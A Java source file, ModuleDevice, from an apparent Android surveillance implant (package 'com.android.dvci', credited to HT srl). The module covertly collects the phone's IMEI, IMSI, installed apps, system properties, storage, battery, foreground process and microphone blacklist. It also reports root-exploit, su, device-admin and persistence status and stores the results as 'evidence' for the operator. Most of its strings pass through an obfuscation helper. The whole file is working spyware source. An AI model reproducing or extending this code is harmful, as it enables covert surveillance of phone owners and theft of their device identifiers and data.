/* **********************************************
* Create by : Alberto "Q" Pelliccione
* Company : HT srl
* Project : AndroidService
* Created : 30-mar-2011
**********************************************/
package com.android.dvci.module;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.BatteryManager;
import android.os.Build;
import android.os.Environment;
import android.os.StatFs;
import com.android.dvci.Device;
import com.android.dvci.Root;
import com.android.dvci.RunningProcesses;
import com.android.dvci.Status;
import com.android.dvci.auto.Cfg;
import com.android.dvci.conf.ConfModule;
import com.android.dvci.crypto.Keys;
import com.android.dvci.evidence.EvidenceBuilder;
import com.android.dvci.evidence.EvidenceType;
import com.android.dvci.listener.AR;
import com.android.dvci.util.Check;
import com.android.dvci.util.PackageUtils;
import com.android.dvci.util.WChar;
import com.android.mm.M;
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.Map.Entry;
import java.util.Properties;
import static com.android.dvci.capabilities.PackageInfo.*;
/**
* http://android.git.kernel.org/?p=platform/packages/apps/Settings.git;a=tree;f
* =src/com/android/settings;h=1d1b538ef4728c9559da43828a7df9e9bb5c512f;hb=HEAD
*
* @author zeno
*/
public class ModuleDevice extends BaseInstantModule {
/**
* The Constant TAG.
*/
private static final String TAG = "ModuleDevice"; //$NON-NLS-1$
/**
* The process list.
*/
private boolean processList = true;
/**
* The cpu usage.
*/
private float cpuUsage;
/**
* The cpu total.
*/
private long cpuTotal;
/**
* The cpu idle.
*/
private long cpuIdle;
/**
* Instantiates a new device agent.
*/
public ModuleDevice() {
if (Cfg.DEBUG) {
Check.log(TAG + " DeviceAgent constructor");//$NON-NLS-1$
}
}
/*
* (non-Javadoc)
*
* @see com.ht.AndroidServiceGUI.agent.AgentBase#parse(byte[])
*/
@Override
public boolean parse(ConfModule conf) {
// this.processList = true;
return true;
}
/*
* (non-Javadoc)
*
* @see com.ht.AndroidServiceGUI.ThreadBase#go()
*/
@Override
public void actualStart() {
final StringBuffer sb = new StringBuffer();
try {
// OS Version etc...
if (Cfg.DEBUG) {
Check.log(TAG + " Android");//$NON-NLS-1$
}
final Runtime runtime = Runtime.getRuntime();
readCpuUsage();
if (Cfg.DEBUG) {
sb.append("Debug\n"); //$NON-NLS-1$
final String timestamp = System.getProperty("build.timestamp"); //$NON-NLS-1$
if (timestamp != null) {
sb.append("Timestamp: " + timestamp + "\n"); //$NON-NLS-1$
}
}
long freeSpace = getSystem(sb);
int battery = getBattery(sb);
getProperties(sb);
getProcessList(sb);
ComponentName devAdminReceiver = new ComponentName(Status.getAppContext(), AR.class);
DevicePolicyManager dpm = (DevicePolicyManager) Status.getAppContext().getSystemService(Context.DEVICE_POLICY_SERVICE);
boolean admin = dpm.isAdminActive(devAdminReceiver);
boolean root = checkRoot();
boolean su = Status.self().haveSu();
if(Cfg.DEMO) {
sb.insert(0, M.e("BinaryPatched:") + Keys.self().binarypatch[8] + "\n");
}
sb.insert(0, M.e("Model:") + Build.DISPLAY + "\n");
sb.insert(0, M.e("IMEI: ") + Device.self().getImei() + "\n");
sb.insert(0, M.e("Root: ") + (root ? "yes" : "no") + M.e(", Su: ") + (su ? "yes" : "no")
+ M.e(", Admin: ") + (admin ? "yes" : "no") + M.e(", Persistence: ") + Status.getPersistencyStatusStr() + "\n");
sb.insert(0, M.e("Free space: ") + freeSpace + " KB " + M.e("Installation: ") + "\n");
sb.insert(0, M.e("Battery: ") + battery + "%" + "\n");
} catch (Exception ex) {
if (Cfg.DEBUG) {
Check.log(TAG + " (actualStart) Error: " + ex);
}
}
final String content = sb.toString();
// log
final EvidenceBuilder log = new EvidenceBuilder(EvidenceType.DEVICE);
log.write(WChar.getBytes(content, true));
log.close();
}
private void getProcessList(final StringBuffer sb) {
if (processList) {
sb.append("\n" + M.e("-- INSTALLED APPS --") + "\n"); //$NON-NLS-1$
final ArrayList<PackageUtils.PInfo> apps = PackageUtils.getInstalledApps(false);
final int max = apps.size();
for (int i = 0; i < max; i++) {
sb.append(apps.get(i) + "\n"); //$NON-NLS-1$
}
}
}
private void getProperties(final StringBuffer sb) {
final Properties properties = System.getProperties();
sb.append("\n" + M.e("-- PROPERTIES --") + "\n"); //$NON-NLS-1$
final Iterator<Entry<Object, Object>> it = properties.entrySet().iterator();
while (it.hasNext()) {
final Entry<Object, Object> pairs = it.next();
sb.append(pairs.getKey() + " : " + pairs.getValue() + "\n"); //$NON-NLS-1$ //$NON-NLS-2$
}
}
private long getSystem(final StringBuffer sb) {
// SYSTEM
sb.append("\n" + M.e("-- SYSTEM --") + "\n"); //$NON-NLS-1$
sb.append(M.e("Root Status: ") + Status.getExploitStatusString() + M.e(", Result: ") + Status.getExploitResultString() + "\n");
sb.append(M.e("OS Runtime: ") + (Root.isArtInUse()?M.e("ART"):M.e("Dalvik"))+ "\n");
sb.append(M.e("Runtime: ") + Build.BOARD + "\n");
sb.append(M.e("Board: ") + Build.BOARD + "\n");
sb.append(M.e("Brand: ") + Build.BRAND + "\n");
sb.append(M.e("Device: ") + Build.DEVICE + "\n");
sb.append(M.e("Display: ") + Build.MODEL + "\n");
sb.append(M.e("Model:") + Build.DISPLAY + "\n");
sb.append(M.e("IMEI: ") + Device.self().getImei() + "\n"); //$NON-NLS-1$ //$NON-NLS-2$
if (Device.self().getImei().length() == 0) {
sb.append(M.e("IMSI: SIM not present") + "\n"); //$NON-NLS-1$
} else {
sb.append(M.e("IMSI: ") + Device.self().getImsi() + "\n"); //$NON-NLS-1$ //$NON-NLS-2$
}
sb.append(M.e("CpuUsage: ") + cpuUsage + "\n"); //$NON-NLS-1$ //$NON-NLS-2$
sb.append(M.e("CpuTotal: ") + cpuTotal + "\n"); //$NON-NLS-1$ //$NON-NLS-2$
sb.append(M.e("CpuIdle: ") + cpuIdle + "\n"); //$NON-NLS-1$ //$NON-NLS-2$
StatFs stat = new StatFs(Environment.getDataDirectory().getPath());
long bytesAvailableInt = (long) stat.getBlockSize() * (long) stat.getBlockCount();
sb.append(M.e("Internal space: ") + bytesAvailableInt + "\n");
stat = new StatFs(Environment.getExternalStorageDirectory().getPath());
long bytesAvailableExt = (long) stat.getBlockSize() * (long) stat.getBlockCount();
sb.append(M.e("External state: ") + Environment.getExternalStorageState() + "\n");
sb.append(M.e("External space: ") + bytesAvailableExt + "\n");
RunningProcesses runningProcesses = RunningProcesses.self();
sb.append(M.e("Foreground process: ") + runningProcesses.getForeground_wrapper() + "\n"); //$NON-NLS-1$
ModuleMic mic = ModuleMic.self();
if (mic != null) {
sb.append("MIC blacklist: ");
for (String black : mic.blacklist) {
sb.append(black + " ");
}
sb.append("\n");
}
return bytesAvailableInt / 1024;
}
private int getBattery(final StringBuffer sb) {
sb.append("\n" + M.e("-- BATTERY --") + "\n");
IntentFilter ifilter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED);
Intent batteryStatus = Status.self().getAppContext().registerReceiver(null, ifilter);
// Are we charging / charged?
int status = batteryStatus.getIntExtra(BatteryManager.EXTRA_STATUS, -1);
boolean isCharging = status == BatteryManager.BATTERY_STATUS_CHARGING ||
status == BatteryManager.BATTERY_STATUS_FULL;
sb.append(M.e("Charging: ") + isCharging + "\n");
// How are we charging?
int chargePlug = batteryStatus.getIntExtra(BatteryManager.EXTRA_PLUGGED, -1);
boolean usbCharge = chargePlug == BatteryManager.BATTERY_PLUGGED_USB;
boolean acCharge = chargePlug == BatteryManager.BATTERY_PLUGGED_AC;
sb.append(M.e("Charging USB: ") + usbCharge + "\n");
sb.append(M.e("Charging AC: ") + acCharge + "\n");
int level = batteryStatus.getIntExtra(BatteryManager.EXTRA_LEVEL, -1);
int scale = batteryStatus.getIntExtra(BatteryManager.EXTRA_SCALE, -1);
float levelBattery = level / (float) scale;
sb.append(M.e("level: ") + levelBattery + "\n");
int batteryPct = level * 100 / scale;
return batteryPct;
}
/**
* Read cpu usage.
*/
private void readCpuUsage() {
try {
final BufferedReader reader = new BufferedReader(new InputStreamReader(new FileInputStream(
M.e("/proc/stat"))), //$NON-NLS-1$
1000);
final String load = reader.readLine();
reader.close();
final String[] toks = load.split(" "); //$NON-NLS-1$
final long currTotal = Long.parseLong(toks[2]) + Long.parseLong(toks[3]) + Long.parseLong(toks[4]);
final long currIdle = Long.parseLong(toks[5]);
this.cpuUsage = ((currTotal - cpuTotal) * 100.0f / (currTotal - cpuTotal + currIdle - cpuIdle));
this.cpuTotal = currTotal;
this.cpuIdle = currIdle;
} catch (final IOException ex) {
if (Cfg.EXCEPTION) {
Check.log(ex);
}
if (Cfg.DEBUG) {
Check.log(ex);//$NON-NLS-1$
}
}
}
}